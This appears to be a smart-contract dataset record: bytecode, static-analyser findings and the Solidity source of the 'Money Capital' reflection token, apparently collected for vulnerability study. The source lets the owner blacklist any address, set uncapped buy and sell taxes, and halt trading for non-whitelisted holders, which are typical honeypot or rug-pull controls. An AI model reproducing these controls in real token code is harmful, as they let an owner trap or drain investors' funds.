81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e71578181015183820152602001610e59565b50505050905090810190601f168015610e9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509291505056fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a723158205440feb76760d81bf7cf1ac0dae8e6f196bbf524ccf55137d94ab5d0b4391e9064736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,613
0xaed5358f30c22d8d79b6edd20dbf81e9cf48742a
// SPDX-License-Identifier: NOLICENSE // https://t.me/MoneyCapital_Official // Website: MoneyCapital.org pragma solidity ^0.8.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract MoneyCapital is Context, IERC20, Ownable { using Address for address payable; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBot; mapping (address => bool) _allowedTransfer; address[] private _excluded; bool public swapEnabled; bool private swapping; bool public tradingEnabled; IRouter public router; address public pair; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100_000_000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 public swapTokensAtAmount = 50000 * 10**_decimals; uint256 public maxWalletBalance = 1_000_000 * 10**_decimals; string private constant _name = "Money Capital"; string private constant _symbol = "M"; address public marketingWallet = 0x0938f54c6e35015407fA1b9302ab05D2EC5c4607; struct Taxes { uint256 rfi; uint256 marketing; uint256 liquidity; } Taxes public buyTaxes = Taxes(10,0,0); Taxes public sellTaxes = Taxes(0,10,10); struct TotFeesPaidStruct{ uint256 rfi; uint256 marketing; uint256 liquidity; } TotFeesPaidStruct public totFeesPaid; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; } event FeesChanged(); event UpdatedRouter(address oldRouter, address newRouter); modifier antiSniper(address account){ require(tradingEnabled || _allowedTransfer[account], "Trading not enabled yet"); _; } modifier lockTheSwap { swapping = true; _; swapping = false; } constructor (address routerAddress) { IRouter _router = IRouter(routerAddress); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); router = _router; pair = _pair; excludeFromReward(pair); _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; _allowedTransfer[owner()] = true; _allowedTransfer[marketingWallet] = true; _allowedTransfer[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override antiSniper(msg.sender) returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override antiSniper(msg.sender) returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override antiSniper(sender) returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual antiSniper(msg.sender) returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual antiSniper(msg.sender) returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true, buyTaxes); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true, buyTaxes); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } function excludeFromReward(address account) internal { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) internal { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setAllowedTransfer(address account, bool value) external onlyOwner{ _allowedTransfer[account] = value; } function setTradingEnabled(bool _enabled) external onlyOwner{ tradingEnabled = _enabled; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal -=rRfi; totFeesPaid.rfi +=tRfi; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { totFeesPaid.marketing +=tMarketing; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tMarketing; } _rOwned[address(this)] +=rMarketing; } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { totFeesPaid.liquidity +=tLiquidity; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tLiquidity; } _rOwned[address(this)] +=rLiquidity; } function _getValues(uint256 tAmount, bool takeFee, Taxes memory temp) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee, temp); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee, Taxes memory temp) private pure returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount*temp.rfi/100; s.tMarketing = tAmount*temp.marketing/100; s.tLiquidity = tAmount*temp.liquidity/100; s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity; return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity) { rAmount = tAmount*currentRate; if(!takeFee) { return(rAmount, rAmount, 0,0,0); } rRfi = s.tRfi*currentRate; rMarketing = s.tMarketing*currentRate; rLiquidity = s.tLiquidity*currentRate; rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity; return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply/tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply-_rOwned[_excluded[i]]; tSupply = tSupply-_tOwned[_excluded[i]]; } if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(!_isBot[from] && !_isBot[to], "Bots are not allowed"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != pair){ require(balanceOf(to) + amount <= maxWalletBalance, "You are exceeding maxWalletBalance"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if(!swapping && swapEnabled && canSwap && to == pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ swapAndLiquify(swapTokensAtAmount); } bool takeFee = false; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to == pair || from == pair){ takeFee = true; } _tokenTransfer(from, to, amount, takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { Taxes memory temp; if(takeFee){ if(recipient == pair) temp = sellTaxes; else if(sender == pair) temp = buyTaxes; } valuesFromGetValues memory s = _getValues(tAmount, takeFee, temp); if (_isExcluded[sender] ) { //from excluded _tOwned[sender] = _tOwned[sender]-tAmount; } if (_isExcluded[recipient]) { //to excluded _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } _rOwned[sender] = _rOwned[sender]-s.rAmount; _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi); if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing,s.tMarketing); if(s.rLiquidity > 0 || s.tLiquidity > 0) _takeLiquidity(s.rLiquidity, s.tLiquidity); emit Transfer(sender, recipient, s.tTransferAmount); emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity); } function swapAndLiquify(uint256 contractBalance ) private lockTheSwap{ // Split the contract balance into halves uint256 denominator = (sellTaxes.liquidity + sellTaxes.marketing) * 2; uint256 tokensToAddLiquidityWith = contractBalance * sellTaxes.liquidity / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance= deltaBalance / (denominator - sellTaxes.liquidity); uint256 ethToAddLiquidityWith = unitBalance * sellTaxes.liquidity; if(ethToAddLiquidityWith > 0){ // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * sellTaxes.marketing; if(marketingAmt > 0){ payable(marketingWallet).sendValue(marketingAmt); } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function updateMarketingWallet(address newWallet) external onlyOwner{ marketingWallet = newWallet; } function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{ swapTokensAtAmount = amount * 10**_decimals; } function updateSwapEnabled(bool _enabled) external onlyOwner{ swapEnabled = _enabled; } function setBot(address _user, bool value) external onlyOwner{ _isBot[_user] = value; } function setBuyTaxes(uint256 rfi, uint256 liquidity, uint256 marketing) external onlyOwner{ buyTaxes = Taxes(rfi, marketing, liquidity); } function setSellTaxes(uint256 rfi, uint256 liquidity, uint256 marketing) external onlyOwner{ sellTaxes = Taxes(rfi, marketing, liquidity); } function setMaxWallet(uint256 amount) external onlyOwner{ maxWalletBalance = amount * 10**_decimals; } function isBot(address _bot) external view returns(bool){ return _isBot[_bot]; } receive() external payable{ } }
0x60806040526004361061023f5760003560e01c806375f0a8741161012e578063aacebbe3116100ab578063e2f456051161006f578063e2f456051461076f578063ea2f0b3714610785578063f2fde38b146107a5578063f66895a3146107c5578063f887ea40146107e457600080fd5b8063aacebbe3146106b3578063bbde77c1146106d3578063c2e5ec04146106e9578063d257b34f14610709578063dd62ed3e1461072957600080fd5b806395d89b41116100f257806395d89b411461060a5780639ba5e4d514610634578063a457c2d714610653578063a8aa1b3114610673578063a9059cbb1461069357600080fd5b806375f0a87414610521578063864701a51461055957806388f82020146105935780638da5cb5b146105cc578063924de9b7146105ea57600080fd5b80633bbac579116101bc5780635d0044ca116101805780635d0044ca1461049257806369c6a59c146104b25780636ddd1713146104d257806370a08231146104ec578063715018a61461050c57600080fd5b80633bbac579146103c0578063437823ec146103f95780634549b039146104195780634ada218b146104395780635342acb41461045957600080fd5b806323b872dd1161020357806323b872dd146103245780632d83811914610344578063313ce56714610364578063342aa8b51461038057806339509351146103a057600080fd5b806306fdde031461024b5780630873321414610293578063095ea7b3146102b557806318160ddd146102e55780631870517a1461030457600080fd5b3661024657005b600080fd5b34801561025757600080fd5b5060408051808201909152600d81526c135bdb995e4810d85c1a5d185b609a1b60208201525b60405161028a919061248b565b60405180910390f35b34801561029f57600080fd5b506102b36102ae366004612431565b61080b565b005b3480156102c157600080fd5b506102d56102d03660046123ae565b610867565b604051901515815260200161028a565b3480156102f157600080fd5b50600b545b60405190815260200161028a565b34801561031057600080fd5b506102b361031f366004612431565b6108cc565b34801561033057600080fd5b506102d561033f366004612338565b61091f565b34801561035057600080fd5b506102f661035f3660046123f5565b610a1f565b34801561037057600080fd5b506040516009815260200161028a565b34801561038c57600080fd5b506102b361039b366004612379565b610aa3565b3480156103ac57600080fd5b506102d56103bb3660046123ae565b610af8565b3480156103cc57600080fd5b506102d56103db3660046122c5565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561040557600080fd5b506102b36104143660046122c5565b610b7e565b34801561042557600080fd5b506102f661043436600461240e565b610bcc565b34801561044557600080fd5b506009546102d59062010000900460ff1681565b34801561046557600080fd5b506102d56104743660046122c5565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561049e57600080fd5b506102b36104ad3660046123f5565b610ca6565b3480156104be57600080fd5b506102b36104cd366004612379565b610cec565b3480156104de57600080fd5b506009546102d59060ff1681565b3480156104f857600080fd5b506102f66105073660046122c5565b610d41565b34801561051857600080fd5b506102b3610da0565b34801561052d57600080fd5b50600f54610541906001600160a01b031681565b6040516001600160a01b03909116815260200161028a565b34801561056557600080fd5b5060105460115460125461057892919083565b6040805193845260208401929092529082015260600161028a565b34801561059f57600080fd5b506102d56105ae3660046122c5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156105d857600080fd5b506000546001600160a01b0316610541565b3480156105f657600080fd5b506102b36106053660046123da565b610dd6565b34801561061657600080fd5b506040805180820190915260018152604d60f81b602082015261027d565b34801561064057600080fd5b5060165460175460185461057892919083565b34801561065f57600080fd5b506102d561066e3660046123ae565b610e13565b34801561067f57600080fd5b50600a54610541906001600160a01b031681565b34801561069f57600080fd5b506102d56106ae3660046123ae565b610eff565b3480156106bf57600080fd5b506102b36106ce3660046122c5565b610f5a565b3480156106df57600080fd5b506102f6600e5481565b3480156106f557600080fd5b506102b36107043660046123da565b610fa6565b34801561071557600080fd5b506102b36107243660046123f5565b610fec565b34801561073557600080fd5b506102f66107443660046122ff565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561077b57600080fd5b506102f6600d5481565b34801561079157600080fd5b506102b36107a03660046122c5565b611032565b3480156107b157600080fd5b506102b36107c03660046122c5565b61107d565b3480156107d157600080fd5b5060135460145460155461057892919083565b3480156107f057600080fd5b5060095461054190630100000090046001600160a01b031681565b6000546001600160a01b0316331461083e5760405162461bcd60e51b8152600401610835906124e0565b60405180910390fd5b604080516060810182528481526020810183905201829052601392909255601491909155601555565b600954600090339062010000900460ff168061089b57506001600160a01b03811660009081526007602052604090205460ff165b6108b75760405162461bcd60e51b815260040161083590612515565b6108c2338585611118565b5060019392505050565b6000546001600160a01b031633146108f65760405162461bcd60e51b8152600401610835906124e0565b604080516060810182528481526020810183905201829052601092909255601191909155601255565b600954600090849062010000900460ff168061095357506001600160a01b03811660009081526007602052604090205460ff165b61096f5760405162461bcd60e51b815260040161083590612515565b61097a85858561123c565b6001600160a01b0385166000908152600360209081526040808320338452909152902054838110156109ff5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610835565b610a138633610a0e8785612704565b611118565b50600195945050505050565b6000600c54821115610a865760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610835565b6000610a90611667565b9050610a9c81846125d5565b9392505050565b6000546001600160a01b03163314610acd5760405162461bcd60e51b8152600401610835906124e0565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600954600090339062010000900460ff1680610b2c57506001600160a01b03811660009081526007602052604090205460ff165b610b485760405162461bcd60e51b815260040161083590612515565b3360008181526003602090815260408083206001600160a01b03891684529091529020546108c291908690610a0e9087906125bd565b6000546001600160a01b03163314610ba85760405162461bcd60e51b8152600401610835906124e0565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000600b54831115610c205760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610835565b81610c6157604080516060810182526010548152601154602082015260125491810191909152600090610c5790859060019061168a565b519150610ca09050565b604080516060810182526010548152601154602082015260125491810191909152600090610c9390859060019061168a565b602001519150610ca09050565b92915050565b6000546001600160a01b03163314610cd05760405162461bcd60e51b8152600401610835906124e0565b610cdc6009600a61263a565b610ce690826126e5565b600e5550565b6000546001600160a01b03163314610d165760405162461bcd60e51b8152600401610835906124e0565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b03811660009081526005602052604081205460ff1615610d7e57506001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260016020526040902054610ca090610a1f565b6000546001600160a01b03163314610dca5760405162461bcd60e51b8152600401610835906124e0565b610dd460006116cf565b565b6000546001600160a01b03163314610e005760405162461bcd60e51b8152600401610835906124e0565b6009805460ff1916911515919091179055565b600954600090339062010000900460ff1680610e4757506001600160a01b03811660009081526007602052604090205460ff165b610e635760405162461bcd60e51b815260040161083590612515565b3360009081526003602090815260408083206001600160a01b038816845290915290205483811015610ee55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610835565b610ef43386610a0e8785612704565b506001949350505050565b600954600090339062010000900460ff1680610f3357506001600160a01b03811660009081526007602052604090205460ff165b610f4f5760405162461bcd60e51b815260040161083590612515565b6108c233858561123c565b6000546001600160a01b03163314610f845760405162461bcd60e51b8152600401610835906124e0565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610fd05760405162461bcd60e51b8152600401610835906124e0565b60098054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146110165760405162461bcd60e51b8152600401610835906124e0565b6110226009600a61263a565b61102c90826126e5565b600d5550565b6000546001600160a01b0316331461105c5760405162461bcd60e51b8152600401610835906124e0565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146110a75760405162461bcd60e51b8152600401610835906124e0565b6001600160a01b03811661110c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610835565b611115816116cf565b50565b6001600160a01b03831661117a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166111db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112a05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b0382166113025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b600081116113645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610835565b61136d83610d41565b8111156113d65760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610835565b6001600160a01b03831660009081526006602052604090205460ff1615801561141857506001600160a01b03821660009081526006602052604090205460ff16155b61145b5760405162461bcd60e51b8152602060048201526014602482015273109bdd1cc8185c99481b9bdd08185b1b1bddd95960621b6044820152606401610835565b6001600160a01b03831660009081526004602052604090205460ff1615801561149d57506001600160a01b03821660009081526004602052604090205460ff16155b80156114b75750600a546001600160a01b03838116911614155b1561152c57600e54816114c984610d41565b6114d391906125bd565b111561152c5760405162461bcd60e51b815260206004820152602260248201527f596f752061726520657863656564696e67206d617857616c6c657442616c616e604482015261636560f01b6064820152608401610835565b600061153730610d41565b600d5460095491925082101590610100900460ff1615801561155b575060095460ff165b80156115645750805b801561157d5750600a546001600160a01b038581169116145b80156115a257506001600160a01b03851660009081526004602052604090205460ff16155b80156115c757506001600160a01b03841660009081526004602052604090205460ff16155b156115d7576115d7600d5461171f565b6001600160a01b03851660009081526004602052604081205460ff1615801561161957506001600160a01b03851660009081526004602052604090205460ff16155b80156116325750600a546001600160a01b038681169116145b8061164a5750600a546001600160a01b038781169116145b15611653575060015b61165f86868684611822565b505050505050565b6000806000611674611b4b565b909250905061168381836125d5565b9250505090565b611692612264565b61169d848484611cce565b90506116b28185856116ad611667565b611d7e565b608086015260608501526040840152602083015281529392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6009805461ff001916610100179055601454601554600091611740916125bd565b61174b9060026126e5565b90506000816013600201548461176191906126e5565b61176b91906125d5565b905060006117798285612704565b90504761178582611e0b565b60006117918247612704565b6015549091506000906117a49087612704565b6117ae90836125d5565b6015549091506000906117c190836126e5565b905080156117d3576117d38682611f93565b6014546000906117e48460026126e5565b6117ee91906126e5565b9050801561180c57600f5461180c906001600160a01b031682612086565b50506009805461ff001916905550505050505050565b61184660405180606001604052806000815260200160008152602001600081525090565b81156118c257600a546001600160a01b038581169116141561188957506040805160608101825260135481526014546020820152601554918101919091526118c2565b600a546001600160a01b03868116911614156118c257506040805160608101825260105481526011546020820152601254918101919091525b60006118cf84848461168a565b6001600160a01b03871660009081526005602052604090205490915060ff1615611931576001600160a01b038616600090815260026020526040902054611917908590612704565b6001600160a01b0387166000908152600260205260409020555b6001600160a01b03851660009081526005602052604090205460ff16156119945760a08101516001600160a01b03861660009081526002602052604090205461197a91906125bd565b6001600160a01b0386166000908152600260205260409020555b80516001600160a01b0387166000908152600160205260409020546119b99190612704565b6001600160a01b03808816600090815260016020908152604080832094909455840151918816815291909120546119f091906125bd565b6001600160a01b0386166000908152600160205260409081902091909155810151151580611a22575060008160c00151115b15611a3957611a3981604001518260c001516121a4565b600081606001511180611a50575060008160e00151115b15611a6757611a6781606001518260e001516121d9565b600081608001511180611a7f57506000816101000151115b15611a9757611a97816080015182610100015161224f565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a00151604051611ae091815260200190565b60405180910390a3306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361010001518460e00151611b3291906125bd565b60405190815260200160405180910390a3505050505050565b600c54600b546000918291825b600854811015611c9d57826001600060088481548110611b7a57611b7a61274c565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611be55750816002600060088481548110611bbe57611bbe61274c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611bfb57600c54600b54945094505050509091565b6001600060088381548110611c1257611c1261274c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611c419084612704565b92506002600060088381548110611c5a57611c5a61274c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611c899083612704565b915080611c958161271b565b915050611b58565b50600b54600c54611cae91906125d5565b821015611cc557600c54600b549350935050509091565b90939092509050565b611cd6612264565b82611ce75760a08101849052610a9c565b8151606490611cf690866126e5565b611d0091906125d5565b60c08201526020820151606490611d1790866126e5565b611d2191906125d5565b60e08201526040820151606490611d3890866126e5565b611d4291906125d5565b610100820181905260e082015160c0830151611d5e9087612704565b611d689190612704565b611d729190612704565b60a08201529392505050565b600080808080611d8e86896126e5565b945086611da657508392506000915081905080611e00565b858960c00151611db691906126e5565b9250858960e00151611dc891906126e5565b915085896101000151611ddb91906126e5565b90508082611de98588612704565b611df39190612704565b611dfd9190612704565b93505b945094509450945094565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e4057611e4061274c565b60200260200101906001600160a01b031690816001600160a01b031681525050600960039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eae57600080fd5b505afa158015611ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee691906122e2565b81600181518110611ef957611ef961274c565b6001600160a01b039283166020918202929092010152600954611f26913091630100000090041684611118565b60095460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790611f6590859060009086903090429060040161254c565b600060405180830381600087803b158015611f7f57600080fd5b505af115801561165f573d6000803e3d6000fd5b600954611fb2903090630100000090046001600160a01b031684611118565b6009546001600160a01b0363010000009091041663f305d719823085600080611fe36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561204657600080fd5b505af115801561205a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061207f919061245d565b5050505050565b804710156120d65760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610835565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612123576040519150601f19603f3d011682016040523d82523d6000602084013e612128565b606091505b505090508061219f5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610835565b505050565b81600c60008282546121b69190612704565b9091555050601680548291906000906121d09084906125bd565b90915550505050565b80601660010160008282546121ee91906125bd565b90915550503060009081526005602052604090205460ff161561223057306000908152600260205260408120805483929061222a9084906125bd565b90915550505b30600090815260016020526040812080548492906121d09084906125bd565b80601660020160008282546121ee91906125bd565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b803580151581146122c057600080fd5b919050565b6000602082840312156122d757600080fd5b8135610a9c81612762565b6000602082840312156122f457600080fd5b8151610a9c81612762565b6000806040838503121561231257600080fd5b823561231d81612762565b9150602083013561232d81612762565b809150509250929050565b60008060006060848603121561234d57600080fd5b833561235881612762565b9250602084013561236881612762565b929592945050506040919091013590565b6000806040838503121561238c57600080fd5b823561239781612762565b91506123a5602084016122b0565b90509250929050565b600080604083850312156123c157600080fd5b8235612